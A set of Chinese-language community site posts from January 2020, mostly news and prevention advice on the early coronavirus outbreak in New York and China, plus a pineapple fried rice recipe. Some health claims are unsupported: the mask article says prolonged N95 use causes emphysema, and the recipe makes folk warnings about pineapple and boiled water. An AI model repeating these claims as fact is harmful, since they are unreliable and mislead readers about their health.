香港政府表示，香港方面将暂停与中国大陆的火车运行，把飞往大陆的航班削减一半。蒙古和朝鲜都关闭与中国的边界。还有许多国家已经停掉了部分航班，对来自中国的旅客进行健康筛查。

美国方面也在考虑是否暂停所有美中航班。据路透社报道，美国官员表示白宫正在研究是否有必要采取力度更大的措施，比如暂停所有飞往中国的班机，来遏制病毒的扩散。

美国卫生部部长阿扎尔说：“应对传染疾病扩散的所有选择都摆在台面，包括旅行限制。”

香港股市在春节后开市的第一个交易日就受到了重创，恒生指数下跌2.5%，达到七个月来的最低点。中国股市在春节期间闭市，计划到2月3日开市。

日本野村证券公司认为，最糟糕的时候还没有过去，中国经济将会在短期遭受严重打击。

路透社引用野村证券的话说：“我们预期北京将采取一系列措施给市场提供流动性和信贷支持。”

2020-01-29 / by davidhorgan479 / in 医疗健康

纽约市至今仍然没有被确诊的新型冠状病毒感染者，“ 微信”上疯传的谣言危害华人社区

随着新型冠状病毒在中国的快速蔓延，纽约市卫生局长巴尔波特（Oxiris Barbot）周二来到全美华人最多的社区之一的纽约曼哈顿华埠中国城举行记者会。她说：纽约市至今仍然没有被确诊的新型冠状病毒感染者；她呼吁纽约人提高警觉，发现症状立刻与医生联络。

巴尔波特表示，纽约市现在的状况是被这一病毒感染的风险仍然很低，但纽约市所做的应对这一病毒的准备却是很充足的。这也呼应了纽约市长白思豪早前所说的，纽约市早晚会出现新型冠状病毒的感染病人，只是不知道什么时候。巴尔波特强调了应该如何准备应对这一挑战：

“目前纽约人保护自己最好的途径是任何人在过去14天去过武汉，或是接触过去过武汉的人，或者是有发热、咳嗽、气短症状的人，必须联系他们的医生，这就是我们在这里举行这个会议的重要性。因为最佳预防阵线就是在第一线预防，这才会有最好的治疗效果。我们希望纽约人能继续他们的日常生活，但当有症状时必须尽早就医。”

其实专业人员现在能提供的有关预防新冠状病毒的措施，按照美洲中华医学会行政总监陈建荣医生的说法，都是一些老生常谈，陈建荣说：

“基本上就是跟预防流感和肺结核差不多的措施，就是洗手，用肥皂洗20秒，如有咳嗽就要戴口罩，如果接触了什么东西后不要接触你的脸，因为这样很容易被感染。”

纽约市卫生局长巴尔波特还提到，在对抗冠状病毒的时候必须将事实与恐惧区分开来，她呼吁民众要搞清楚什么是事实，什么恐惧。而这几天在华人社区就疯传一则所谓已经有确诊病人的谣言。对此市议员陈倩文办公室社区联络员陈少风，还点了华人广泛使用的社交网站“微信”的名。

“没有经过证实的新闻最好不要乱传，就好像其中有一条，我们最近看到的，说在唐人街有一个病人感染了肺炎，然后在王佳廉中心，然后转到一个下城的医院。这个传言就传得很真实，然后在微信上疯传。所以这个事情对社区的危害性很大，因为我们华人社区最近有很多新年的活动，将一些没有经过证实的谣言转发出去会给华人社区造成很负面的影响，希望大家关注新闻很重要，但是要去找可靠的新闻，经过证实的新闻采取我们可以采取一些必要的手段去保护自己像洗手带口罩啊。但是谣言可能会比这个肺炎杀伤力更大。”

除了谣言的杀伤力，还有与会的社区记者提出，有人到药房里去抢购口罩，囤积口罩以抬高价格，这种行为也遭到包括纽约市卫生局长在内的与会人士的批评。

2020-01-29 / by davidhorgan479 / in 医疗健康

鉴于新型冠状病毒疫情爆发，美加宣布取消部分飞往中国航班

由于中国新型冠状病毒疫情爆发，并在众多国家扩散，为此加拿大和美国一些航空公司星期二宣布取消飞往中国的一些航班。

加拿大主要国际航空公司“加拿大航空” （Air Canada）宣布，取消前往中国的部分航班。该公司说，赴中国旅行需求大幅下降。加拿大这家航空公司目前每周有33个飞往中国的航班。

飞往中国航班最多的美国联合航空公司（United）星期二宣布，鉴于新型冠状病毒疫情爆发，将取消下月（二月份）飞往香港和中国大陆的数十个航班。联航说，“座位需求在大幅下降”。

与此同时，达美航空公司（Delta）和美国航空公司（American) 正在免除乘客的改票费，以尽可能多地维持客源。

白宫官员星期二与美国主要航空公司首席执行官通电话，就中国新型冠状病毒疫情动态对美国的可能影响，以及临时禁飞中国的可能性进行通报和磋商。路透社援引熟悉这次谈话内容的消息人士的话说，“所有选项都在考虑之内”。

不过，早先路透社引用知情人报道，白宫周二早些时候称在考虑暂停从中国飞往美国的航班以应对冠状病毒疫情，后来决定不暂停航班。

在中国疫情方面，星期二来自中国国家卫健委的最新通报说，1月28日0-24时，31个省（区、市）报告新增确诊病例1459例，新增重症病例263例，新增死亡病例26例（湖北省25例、河南省1例），新增治愈出院病例43例，新增疑似病例3248例（包括西藏1例）。

2020-01-29 / by davidhorgan479 / in 医疗健康

疫情迅速扩散，在美华人纷纷退票取消回国

武汉「新型冠状病毒」疫情自本月19日起爆炸式扩散后，疫情迅速扩散，纽约有很多原计划过年期间或过年后回中国的华人，纷纷退票取消回国，各旅游公司都出现了退票潮。

旺旺旅游的黄先生说，这四五天时间就有100多人退票，取消回国的计划。福州移民董先生到法拉盛「旺旺旅游」退机票，他表示，机票是去年11月买的，当时机票较便宜，双程才530多美元，但疫情的发展他决定取消回国。

“航班说可以免费退票，但是旅行社还是扣了50元的手续费，机票钱也不是马上就可以拿到，说要等两个月。现在这个时候谁还敢回去呀？”

董先生说，他是绿卡，拿中国护照，「回去了，一旦美国对中国人封关，就回不来了。」

在法拉盛飞扬旅行社，原准备与家人2月28日回广东的何先生来退票，他说因为武汉肺炎疫情，他取消行程。旅行社表示，每张机票扣掉20元的手续费后，余款在三周内退给他。

飞扬旅行社的工作人员表示，2月份到大陆的旅游团全部停止。

2020-01-29 / by davidhorgan479 / in 美国新闻

纽约州疑似病例日增10起 7人为阴性3人仍等待结果

1月28日中午纽约州长更新了纽约州武汉肺炎最新消息，纽约州共送10个疑似病例去医院观察，到目前为止7人为阴性；另外三例正等待结果。

州长表示会继续严密监控新型冠状病毒在纽约州情况，同时他分配州卫生厅继续与社区，医院，大学以及与中国有生意往来的公司沟通。州长明确表示：严肃对待这个冠状病毒，及时获得资讯，对卫生系统以及政府要保持信心，时刻准备着。

卫生厅一直与高校保持联系，指导他们如何对从中国来的国际学生监控以及确认病毒，并及时通知学生们预防措施。

卫生厅厅长祖克医生（Dr.Howard Zucker）说，目前这个病毒是一个非常严重的威胁，美国人总是为自己的安全感到担心，但也要小心，“这是一个持续快速变化的情况。”

州长提醒纽约人：要保持平时对疾病的小心习惯，包括经常洗手，避免与病人进行亲密接触。。

美国疾病控制预防中心昨天下午发布公告表示，“新型冠状病毒『没有』在美国传播开来“，但是以下卫生习惯能够预防呼吸系统疾病。

这些日常措施包括：用肥皂洗手20秒钟以上；或者用酒精洗手液；避免用没有洗过的手接触眼睛，鼻子和嘴；避免和患者亲密接触；如果患病就待在家里；咳嗽或者打喷嚏要用手纸挡住，然后把手纸放在垃圾桶里；清洗经常触摸的东西和表面；有去过受感染区域的应该给医疗部门打电话。

目前美国已经计划在20个机场对旅客进行筛查，纽约州包括JFK，纽瓦克等五个国际机场。副总统彭斯周一表示，从中国来的旅客90％从各地的飞机场进入美国。

2020-01-29 / by davidhorgan479 / in 医疗健康

美疾病控制中心武汉肺炎预防指南

美国疾病控制和预防中心，最近给出了预防武汉肺炎的中文版指南，这是写给在美国的人看的，但对其他地区，也有借鉴作用。指南针对三类人：，

第一类是确诊感染以及正在接受感染评估的人
这类人除了诊疗护理之外，要留在家中不要出门，并与家人待在不同的房间，在接触别人时，要戴口罩，即使自己戴不了，那接触者也要戴上，咳嗽和打喷嚏必须遮挡，用过的纸巾要扔到有塑料袋的垃圾桶，然后洗手。

洗手要经常，每次至少20秒，用肥皂和水，手不脏，也起码用含酒精的消毒液，没洗过的手，避免碰到眼、口、鼻。

另外，这类人也不要跟家人共用家居用品，包括碗碟、水杯、餐具、毛巾、床上用品等，而且自己使用过的这些物品，要用肥皂水等彻底清洗。

第二类，是指与第一类人接触的同住者或照看者
这类人要做到，自己与被感染者分开房间住，避免共用家居用品。并且阻止老人或者免疫系统受损、有慢性健康疾病的人，接近患者，也尽量阻止客人串门。在家里，要确保通风，可以用空调，也可以打开窗户。

接触患者时，尽量戴一次性的口罩、手套乃至防护服，用完一次后，这三样，全扔进带塑料袋的容器。可能经常共用的区域，例如桌面、门把、厕所、手机、键盘等等，要每天清洁。

有的东西可以使用稀释漂白液清洁，自制稀释漂白液的方法是，把一勺漂白剂加进大约4杯水中，按这个比例调配。还有就是多洗手，方式跟上面第一类人一样。

第三类是与第一类人密切接触的人
这一类人要监测自己健康状况，一有没有发烧，二有没有咳嗽，三是否呼吸短促或困难，四是一些早期症状，比如怕冷、疼痛、头痛、腹泻、恶心、流鼻涕等。听起来这些早期症状与感冒差不多。

当然有这些症状不一定就是武汉肺炎，但是您如果觉得需要，可以跟您的医生联系。

2020-01-29 / by davidhorgan479 / in 医疗健康, 汽车/房产/保险

针对年後華人返美争多紐約州衛生廳加強防範「武漢肺炎」

預計華人在中國過完年後，將開始陸續返回美國，紐約州衛生廳（DOH）已經在紐新港務局的四個國際機場，以多語言發布關於病毒的提醒。DOH還與大都會運輸署（MTA）合作，在地鐵和公共汽車上放置相關信息。

鑑於許多學院和大學都有國際學生和教師，本週，紐約州衛生廳將向學生分發關於該病毒的信息、如何預防以及如何傳播的指南。

新型冠狀病毒的症狀可能包括：頭痛、流鼻涕、咳嗽、喉嚨痛、發燒；CDC建議個人避免非必要的赴武漢。

日常的預防措施可以幫助阻止這種病毒和其它呼吸道病毒的傳播，措施包括：

第一，公共场合一定要注意戴口罩，如果你近期有咳嗽咳痰，那么你在家也要把口罩戴好，这样才能更好地保护你的家人，因为新型冠状病毒可以通过空气飞沫传播。

第二，注意手卫生，勤洗手，新型冠状病毒可以污染衣物，食物，所以勤洗手，有助于避免交叉感染，洗手的时候你可以用肥皂或者含有酒精成分的手消毒剂，但是一定要注意最后要用流动的水冲洗干净。

排在前两位的非常重要，提醒大家一定要每天坚持做好。

第三，一定要多喝温开水，喝水能够保持喉咙的湿润，有助于预防呼吸道感染，喝水能够促进身体代谢废物的排泄，喝水还能增强免疫力。

第四，不要随地乱吐痰，这不仅是保护你自己，也是保护别人，新型冠状病毒可以通过空气飞沫传播，如果人人都养成乱吐痰的坏习惯，结果就可想而知，现在预防新型冠状病毒，决不是哪一个地区，哪一个人的事，而是全民动员。

第五，居住和工作的环境里多保持通风状态，不要把门窗关的死死的，在里面一直开空调，通风有利于降低房间里病毒的数量。

第六，合理饮食，烹饪的时候彻底煮熟肉类，非常时期，不要再去接触野生动物和家禽家畜了。

2020-01-29 / by davidhorgan479 / in 医疗健康

对武漢肺炎疫情中美應對大差异

当公共衛生事件發生時唯有信息公開，才能最大程度地挽救生命，这个众所周知的事实；但在中國大陸，武漢肺炎自去年12月31日中共當局公布以來，官員瞞報疫情並非個案，而是整個系統性的操作。鑑於十多年前SARS爆發時中共隱瞞疫情造成的惡劣影響，各國對本次武漢肺炎疫情發展嚴陣以待。目前此疫情已經蔓延到包括美國在內的多個國家和地區。

现在让我们来參照美國的公共衛生事件處理方式，了解正常應對重要疫情的方式應該是什麼樣。

美國首例武漢肺炎的確認得益於醫護人員的及時報告
美國疾病預防控制中心（CDC）週二（21日）舉行電話記者會，確認一名30多歲、剛從武漢返美的男子感染了武漢肺炎；該名患者成為美國首例確診病例。

CDC表示，一名30歲美籍男子15日從中國武漢返美、通過西雅圖入境，16日開始看醫；在醫護人員查看病人的旅行史後，意識到他疑似感染的是最新病毒，於是迅速從患者身上取得樣本、並與CDC聯繫，CDC於20日晚確診患者攜帶武漢肺炎的新型冠狀病毒。

在21日下午舉行的電話記者會，CDC呼吸道疾病暨免疫中心主任梅森尼爾（Nancy Messonnier）感謝醫護人員的及時報告，並表示現已經開發一種新的測試方法，可以識別首例武漢肺炎患者體內的病毒，並擴大機場篩檢範圍至5個美國國際機場。

她提醒說，現已確認美國出現武漢肺炎首例，也預期在美國和全球會出現更多病例。

梅森尼爾表示，基於過去的經驗，CDC知道採取積極預防措施與做好準備至關重要，雖然武漢肺炎目前對美國公共安全的風險仍低。

據悉，CDC官員正在編制一份該名患者返回美國以來可能接觸過的人員清單。CDC當前的重點是確定這名男子的航班和座位號，以便篩選與他接觸過的人。

同時，CDC還格外強調加強旅客的安全意識教育。CDC會在飛機上用中、英文雙語為乘客派發武漢肺炎的防護信息以及注意事項。

如果乘客出現新症狀，將被送到當地與CDC合作的醫院進行檢查；如果確診有人感染了新病毒，他們將在醫院被隔離觀察。CDC表示，冠狀病毒在美國傳播的風險仍然很低。

CDC的推特帳戶推文說，CDC一直在積極防備武漢肺炎進入美國，尤其是防止從武漢出發的旅客攜帶新型冠狀病毒（2019-nCoV，俗稱武漢肺炎）入境。

CDC早在1月8日就通知美國各醫療機構的臨床醫生注意這個新病毒；1月17日，CDC為醫療機構以及醫生從業人員提供了更多指導。

中共學者：美國及時授權處理疫情很少行政干預
對CDC的高效，其實中共體制內的學者曾進行過非常詳細的考察，並將研究結果刊發在中共最權威的黨媒上。

中國協和醫科大學教授黃建始於2003年曾在《人民日報》刊文（題目為「從美國沒有SARS大流行看突發公共衛生事件應對體系」），指美國在薩斯疫情未明的情況下、就能預見到薩斯的嚴重性，得益於美國的高效率和高效應。

這種高效具體表現在政策細緻務實、具體措施能迅速到位。第一，能在最短時間內向全美各地醫院和臨床人員發出薩斯預警，做到了「有備」，可避免臨床醫生在病人來到時措手不及而導致不該發生的醫院內感染等現象。隨後，下發監測和確認潛在薩斯病人的指南。

第二，美國CDC向各州衛生廳詳細通報全球薩斯情況，且馬上開始調查可能接觸過薩斯病人、並過境美國的旅遊人員的患病情況，還有為去東南亞旅遊的美國公民或從疫情國返回的乘客發放薩斯預警卡，僅第一個月就發送50多萬份。

第三，美國政府更是及時授權，很少行政干預。當時的美國總統小布什專門簽署行政令，賦予公共衛生機構對薩斯和相關疾病隔離檢疫的權力。

並且，CDC跟公眾做好危機溝通，保證信息透明，其網站經常更新，而且每天都要向媒體通報；同時所有應對措施和疾病實時信息也都在CDC網站上公布。

黃建始指出，關鍵是上述舉措，美國均是在啟動預防之初、短時間內就能陸續到位。

前CDC主任：政府切記保持誠實講事實而非隱瞞
中共體制內學者的觀察侷限在CDC應對體系本身上，曾領導薩斯病毒防治的前CDC主任茱莉·葛伯丁（Julie Gerberding）在2016年出席一次「寨卡與媒體」的主題研討會上，她更強調公共衛生危機中的溝通。

葛伯丁說，如果告知公眾某類傳染疾病一定不會發生，但最終爆發案例，會有損機構的公信力；所以，最重要的是政府保持誠實，溝通具體的威脅程度，不排除爆發的可能性，向公眾介紹已經為此做出了哪些準備。

她提醒說，在公共健康危機溝通中，讓民眾保持一定程度的擔憂、會更加有警覺性。

在被問及在社交媒體時代，不實信息甚至是惡意謠言傳播迅速時怎樣應對，葛伯丁表示，CDC在社交媒體開設帳號、快速發布信息；同時，CDC也建立了自己的一套溝通體系：健康警示系統（Health Alert Network ，簡稱HAN）。

這個體系與美國的聯邦、州及地方政府部門合作，同時也與地方醫院、社區診所、醫療服務提供商達成合作；這個體系能確保CDC將最準確的疫情信息、防疫貼士等信息傳遞給大眾。根據CDC的數據，目前各州的HAN項目覆蓋了州內至少90%的人口。

美國在重大傳染病的預防措施上一直應對有術，無論是薩斯、還是中東呼吸症候群（MERS），或者是最新的武漢肺炎，都可以看到美國在應對國內公共衛生事件上的成熟。

外界希望中共當局能認識到，這種成熟不光是表面上的政策機制成熟，更要思考背後更深層的人文環境因素。

中共對武漢肺炎的處理被譏「病毒官員」
武漢肺炎的最早病例出現於2019年12月8日，不過卻在過了22天後，直到2019年12月30日，武漢市衛生健康委員會才發布《關於報送不明肺炎救治情況的緊急通知》。

這段時間，武漢警方更針對民間流傳的肺炎「人傳人」等小道消息進行「造謠傳謠」處理，有8人遭受處罰。

外界評論說，中共政府隱瞞武漢肺炎疫情不予公開，引發大陸民眾憤怒；旋即中共政法委發文指，刻意遲報瞞報者是「黨和人民的千古罪人」，以此轉移視線、逃避中共應擔負的責任。

2020年1月14日，多家媒體記者前往武漢市金銀潭傳染病專科醫院採訪新型冠狀病毒性肺炎疫情，被武漢警方粗暴干涉，警方不但要求記者刪除新聞素材，還將記者帶走扣查、盤問數小時。

1月20日，中共國家衛健委高級別專家組組長、中國工程院院士、國家呼吸系統疾病臨床研究專家鍾南山在接受央視新聞直播採訪時表示，新型冠狀病毒肺炎是肯定的人傳人，並透露至少有14名醫護人員出現醫療照顧相關感染。

中共國家衛生健康委員會同日發布公告，新型冠狀病毒感染的肺炎納入法定乙類傳染病，按甲類管理。

在前一天（1月19日），武漢市百步亭社區舉行4萬多個家庭參加的「第二十屆萬家宴」，事後武漢市長周先旺承認未儘早進行風險告知；但否認有發現交叉感染現象。

武漢市疫情防控指揮部1月23日凌晨發布公告，自當日上午10時起全市公共交通暫時停運，機場、火車站等各種離漢通道暫時關閉，恢復時間未定。

「這次疫情有些地方官員的表現，已經不像是人類任命的官員，卻很像是病毒任命的官員，約談透露疫情的醫生，關押提醒公眾有疫情的網民，頂風辦萬人宴，處處以本區病毒傳播效果最大化為最高使命。」大陸一名資深媒體人週三（1月22日）推文說。

他還提到公布信息的重要性。他說，因為相關行業都有更準確的直接信源，例如記者就肯定能獲得更多更準確的信息，這會讓一些人提前準備，對於武漢的一些人來說就意味著保住生命。

2020-01-29 / by davidhorgan479 / in 医疗健康, 律师/移民/金融

2020武汉肺炎，口罩能防“新型冠状病毒”传染│哪种口罩最有效│口罩买不到怎么办？

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武汉肺炎爆发后，除了食品被疯抢外，口罩更是人人必抢之宝。大陆民众外出普遍戴口罩自保，N95口罩、一般医用口罩和外科口罩变得非常抢手，甚至在大陆多地断货。若要预防新型冠状病毒肺炎通过飞沫传播，究竟哪种口罩才有效？口罩稀缺、实在买不到怎么办？

7种常见口罩哪种有效隔绝“新型冠状病毒”飞沬传染？

虽然目前新型冠状病毒传染途径尚未确定，但一般呼吸道疾病都会通过飞沫传播，中国国家卫健委高级别专家组组长钟南山也表示，目前从冠状病毒传播的规律来看，会附着于飞沫。因此，戴口罩是预防新型冠状病毒的重要方法。

飞沫包括口水、鼻涕。当人们咳嗽、打喷嚏时，会产生的极小水雾在近距离飘散，病毒必须附着在极小的水雾颗粒上才具传染能力，没有液体飞沫为载体的病毒（单独存在或附着于固体微粒的病毒），在一般情况下无法造成有效感染。“也就是说口罩要拦截的是水雾”，尚文诊所感染科医师、曾任台北荣民总医院感染科主治医师的郑元瑜解释，“口罩材质的缝隙不一定比细菌、病毒的颗粒小，但能把细菌、病毒附着的小水珠隔绝起来，达到过滤的效果。”

那么，哪种口罩能有效预防飞沫传染？

如今常见的口罩有N95口罩、一般医用口罩、外科口罩（即外科手术口罩，包括绑带式）、活性碳口罩、棉布或纱布口罩、海绵口罩（聚氨酯口罩）和纸口罩。这些口罩的特点和用途如下：

7种常见口罩，哪些能有效隔绝飞沫传染，预防武汉肺炎新型冠状病毒？

在所有的口罩中，N95口罩阻隔病毒飞沫的能力最高，一般医用口罩和外科口罩也能有效阻隔飞沫传播的病毒。但戴此口罩时，一次时间也不能超过4个小时。如果长时间持续使用N95口罩，会造成肺部损伤，可能会引起肺气肿之类的问题。

阻隔能力最强的N95口罩，对于一般民众来说，未必达到最好的预防感染效果。配戴N95口罩容易因闷、热、湿、紧等因素而无法久戴，且在配戴过程中，会让人想调整口罩、透口气，增加未经过滤的空气吸进人体的机率，提升被传染的风险。

医用级别的口罩

认定口罩是否为医用级别，实验方式是将细菌和水打成水雾，在一个规范的气流速度内冲击，看口罩能有效过滤多少细菌，符合标准就能做医用口罩。一般医用口罩和外科口罩对细菌过滤要求是同等的，即细菌过滤效率（bacterial filtration efficiency，BFE）为95％以上，郑元瑜补充，“这代表对于飞沫传染性的病毒，也有相似的阻隔效果。”

一般医用口罩和外科口罩的材质，皆为三层平面口罩：外层是有颜色、经过防泼水处理的不织布，可阻隔飞沫；中间内层为熔喷不织布，能过滤、吸附含有细菌或病毒的飞沫；内层为吸水材质，可以吸收戴口罩者本人的口沫。

金牌资讯网建议，如果身处中国境内，甚至是武汉的民众，也是戴一般医用或外科口罩就好，因为疫情不是短时间内就会结束。而且过去实际研究发现，对付飞沫传染的病毒，一般医用或外科口罩和N95口罩的效果是差不多的。也不必多戴几层医用口罩，因为会增加从口罩及脸颊间吸入空气的机会，造成反效果。

绑带式外科口罩

一般医用口罩和外科口罩都有鼻梁片，可配合鼻形按压，防止漏气。但这两种口罩的耳挂通常为弹性带，可能会使口罩与脸颊处产生缝隙。

医院内的克服方法是使用绑带式外科口罩，以两对棉线分别绕过耳朵上方及下方，在后脑绑紧。这类口罩能达到与脸部较佳的贴合，本身也用绑带式外科口罩的郑元瑜强调：“密合度会差很多。”

因密合度佳，使配戴者吸到的空气能够真正经过口罩过滤，避免在吸气时，因气流的带动，从脸颊缝隙吸进空气。

医用口罩稀缺买不到怎么办？

武汉是中国重要运输通道，而且从新型冠状病毒肺炎疫情出现到春运开始后，车站、机场等地长期未做合理的防疫措施，所以疫情在中国全境扩散效率很高。近期仍处于疫情扩张期，因此只要身在中国境内的民众，建议都要戴口罩保护自己。

配戴一般医用及外科口罩时，最多24小时就要丢弃，因为口罩中间层是最重要的一层，却又非常薄。口罩经反复穿戴、摩擦、空气潮湿等因素，中间层可能已被破坏，只是看不到。郑元瑜指出，他曾拆解外科口罩，发现中间层几乎是半透明，很容易破，只要有一点缺口让飞沫渗漏，就无法抵抗病毒。

由于中国已传出口罩缺货消息，郑元瑜认为，在一般医用及外科口罩内层加上一片薄纱布减缓潮湿的程度，可延长一点使用期限。但能延长多久也很难确定，因此最糟的情况是没口罩可戴。他说，在这种情形下最好不要出门，必要外出时，至少要戴布口罩或纸口罩，能够隔绝一些飞沫。

一般的布口罩清洗消毒后可以重复使用，但纸口罩需要每日换新，且一旦破损或潮湿就不可使用。

同时，尽量与人保持1公尺（1米）以上距离。飞沫有效传染范围在1公尺，超过1公尺病毒的传染力会下降，能为自己降低少许被感染的可能性。

2020-01-29 / by happy1 / in SAT/ACT, 医疗健康, 留学/教育/求职, 肠胃科/儿科/家庭医生

足不出户坐享异域美食：手把手教你做【泰式菠萝咖喱黄金蛋炒饭】

作者：草长莺飞

美食与驴游，哪个是你所爱，哪个是你的追求，分不清，道不明了吧？因为美食与驴游，已经密不可分了－－要美食，也要驴游！越来越多的人去某个地方旅行，或者仅仅只是为了去享受当地的美食，这说明美食也好，驴游也好，都可以为我们的生活增亮提色！

如果你去过东南亚，比如泰国，比如缅甸，给你舌尖带来惊喜的，我想排在第一肯定是菠萝咖喱黄金蛋炒饭了。这道炒饭，酸甜可口，营养丰富，食而不腻。

其实在我们南方，也有很多地方喜欢用菠萝来炒牛肉，或做成汤的。特别是在广州，在流行前线附近，有一家叫“西游记”的饭店，就有一道招牌菜叫原只菠萝炒饭，味道非常棒。

现在就教大家如何做这道泰式菠萝咖喱黄金蛋炒饭，让你完全不必车马劳顿，足不出门就可享用到异域美食啦。

材料：

1.咖喱1勺

2.玉米粒、豌豆、红萝卜适量（此三种可只选一种或三种都搭配）

3.生抽1勺

4.菠萝半只

5.鸡蛋一只

6.米饭1碗

7.香肠（或腊肠）一根

做法

1.玉米粒用水煮好，沥干备用

2.鸡蛋煎好，盛起来备用

3.菠萝切半挖菠萝肉出来，切成小块，下油快炒2分钟

4.下米饭、玉米粒、鸡蛋和菠萝翻炒均匀

5．最后放酱油、咖喱、蚝油翻炒2分钟，加葱花装在菠萝壳里，大功告成

小贴士：

1．菠萝不但生津利尿、消食开胃、减肥美容，还能缓解感冒症状，小朋友多食用，能有效防止便秘。

2．吃新鲜菠萝时候，一定记得要用盐腌20分钟，或用盐水泡10分钟以上，也可拌酱油用来下饭。菠萝一次性不要吃多，不然舌头发发麻，还会引起口角溃疡。

3．口腔溃疡，舌头起泡的，记得不宜吃菠萝，不然加重症状，痛感更甚。

4．小时候吃菠萝，老人都交代一定不能与开水同喝，最少要隔两个小时以后才能喝开水。因菠萝与开水同喝，或吃完菠萝马上喝开水，会导致严重的胃胀与腹泄，过程非常痛苦，千万记得不要尝试。

作者原创，请注明出处转载请注明作者、出处並保持完整。

2020-01-28 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 生活/美食/家居, 美食天地

防武漢肺炎沒口罩怎麼辦？

武漢肺炎疫情的大范围、快速的蔓延，戴口罩成为民眾外出自保的必备，各类型的口罩非常搶手，在大陸多地斷貨。有效隔絕「新型冠狀病毒」飛沬傳染，究竟哪種口罩才有效？口罩稀缺、實在買不到怎麼辦？

飛沫包括口水、鼻涕。當人們咳嗽、打噴嚏時，會產生的極小水霧在近距離飄散，病毒必須附著在極小的水霧顆粒上才具傳染能力。新型冠狀病毒傳染途徑尚未確定，但一般呼吸道疾病都會通過飛沫傳播。目前從冠狀病毒傳播的規律來看，會附著於飛沫。因此，戴口罩是預防新型冠狀病毒的重要方法。

如今常見的口罩有N95口罩、一般醫用口罩、外科口罩（即外科手術口罩）、活性碳口罩、棉布或紗布口罩、海綿口罩和紙口罩。哪種口罩能有效預防飛沫傳染？

我们来看看這些口罩的特點和用途：

先從醫用級別的口罩談起。

認定口罩是否為醫用級別，實驗方式是將細菌和水打成水霧，在一個規範的氣流速度內衝擊，看口罩能有效過濾多少細菌，符合標準就能做醫用口罩。一般醫用口罩和外科口罩對細菌過濾要求是同等的，即細菌過濾效率（bacterial filtration efficiency, BFE）為95%以上，鄭元瑜補充，「這代表對於飛沫傳染性的病毒，也有相似的阻隔效果。」

一般醫用口罩和外科口罩的材質，皆為三層平面口罩：外層是有顏色、經過防潑水處理的不織布，可阻隔飛沫；中間內層為熔噴不織布，能過濾、吸附含有細菌或病毒的飛沫；內層為吸水材質，可以吸收戴口罩者本人的口沫。

市面宣稱「醫用等級」的口罩可信嗎？
目前市售口罩種類眾多，材質各異，有很多口罩宣稱是「醫用等級」，但未必真能達到醫用口罩的效果。以四層活性碳口罩為例，雖然也標示具有醫用等級，但活性碳本身不能阻擋病菌，多加一層熔噴濾布變為四層，反而可能增加呼吸的阻力。因為口罩層數多，需要較費力才能呼吸，更容易從臉頰和口罩的空隙中吸入未經過濾的空氣。鄭元瑜指出，為了克服不透氣的問題，廠商可能會犠牲部分過濾效果，但因此製成的口罩保有多少過濾帶病毒飛沫的能力，就要看各家廠商的技術了。

另外，宣稱可過濾花粉的醫用口罩也不見得適用於防範病毒。因為花粉是固體顆粒，並非液體顆粒，液體顆粒較容易黏附在纖維上或受其它變數干擾，產生與固體顆粒不同的效果，所以不能直接以顆粒直徑等同就認為可防範飛沬傳染。

民眾購買醫療用口罩，重要的是檢查外包裝是否有政府單位的「醫療許可認證」。

例如台灣法規規定，一般醫用口罩及外科口罩必須通過檢測才能販售，包裝上會標示CNS國家標準檢測、衛福部許可證號，或是註明BFE過濾認證。以美國標準，BFE至少要達95%才算是外科口罩。

一般民眾配戴N95口罩效果未必最好
阻隔能力最強的N95口罩，對於一般民眾來說，未必達到最好的預防感染效果。

配戴N95口罩容易因悶、熱、濕、緊等因素而無法久戴，且在配戴過程中，會讓人想調整口罩、透口氣，增加未經過濾的空氣吸進人體的機率，提升被傳染的風險。

曾任台北榮民總醫院感染科主治醫師的鄭元瑜指出，在SARS、流感肆虐時，他身在其中，觀察到醫師行為發現，「人要長期確實戴好N95口罩是不可能的，一定會失敗，時間越長，遭到感染的機率就越大。」

他解釋，以口罩執行完整率及口罩對病毒的過濾能力來權衡：如果N95口罩過濾能力是100分，口罩執行成功率則是70分；一般醫用或外科口罩是95分，口罩執行成功率也是95分。兩者相比，長時間配戴的情況下，對於非專業人士，一般醫用口罩和外科口罩還是較安全。

如果身處中國境內，甚至是武漢的民眾，也是戴一般醫用或外科口罩就好，因為疫情不是短時間內就會結束。

而且過去實際研究發現，對付飛沫傳染的病毒，一般醫用或外科口罩和N95口罩的效果是差不多的。也不必多戴幾層醫用口罩，因為會增加從口罩及臉頰間吸入空氣的機會，造成反效果。

密合度很重要綁帶式外科口罩效果更佳
一般醫用口罩和外科口罩都有鼻樑片，可配合鼻形按壓，防止漏氣。但這兩種口罩的耳掛通常為彈性帶，可能會使口罩與臉頰處產生縫隙。

醫院內的克服方法是使用綁帶式外科口罩，以兩對棉線分別繞過耳朵上方及下方，在後腦綁緊。這類口罩能達到與臉部較佳的貼合，本身也用綁帶式外科口罩的鄭元瑜強調：「密合度會差很多。」

因密合度佳，使配戴者吸到的空氣能夠真正經過口罩過濾，避免在吸氣時，因氣流的帶動，從臉頰縫隙吸進空氣。

醫用口罩稀缺、買不到怎麼辦？
武漢是中國重要運輸通道，而且從新型冠狀病毒肺炎疫情出現到春運開始後，車站、機場等地長期未做合理的防疫措施，所以疫情在中國全境擴散效率很高。近期仍處於疫情擴張期，因此只要身在中國境內的民眾，建議都要戴口罩保護自己。

配戴一般醫用及外科口罩時，最多24小時就要丟棄，因為口罩中間層是最重要的一層，卻又非常薄。口罩經反覆穿戴、摩擦、空氣潮濕等因素，中間層可能已被破壞，只是看不到。鄭元瑜指出，他曾拆解外科口罩，發現中間層幾乎是半透明，很容易破，只要有一點缺口讓飛沫滲漏，就無法抵抗病毒。

由於中國已傳出口罩缺貨消息，鄭元瑜認為，在一般醫用及外科口罩內層加上一片薄紗布減緩潮濕的程度，可延長一點使用期限。但能延長多久也很難確定，因此最糟的情況是沒口罩可戴。他說，在這種情形下最好不要出門，必要外出時，至少要戴布口罩或紙口罩，能夠隔絕一些飛沫。

一般的布口罩清洗消毒後可以重複使用，但紙口罩需要每日換新，且一旦破損或潮濕就不可使用。

同時，盡量與人保持1公尺（1米）以上距離。飛沫有效傳染範圍在1公尺，超過1公尺病毒的傳染力會下降，能為自己降低少許被感染的可能性。

2020-01-28 / by davidhorgan479 / in SAT/ACT, 医疗健康, 留学/教育/求职

美国买房好地方？全美20个最具竞争力购房社区，4个位于大波士顿地区，3个位于阿灵顿镇

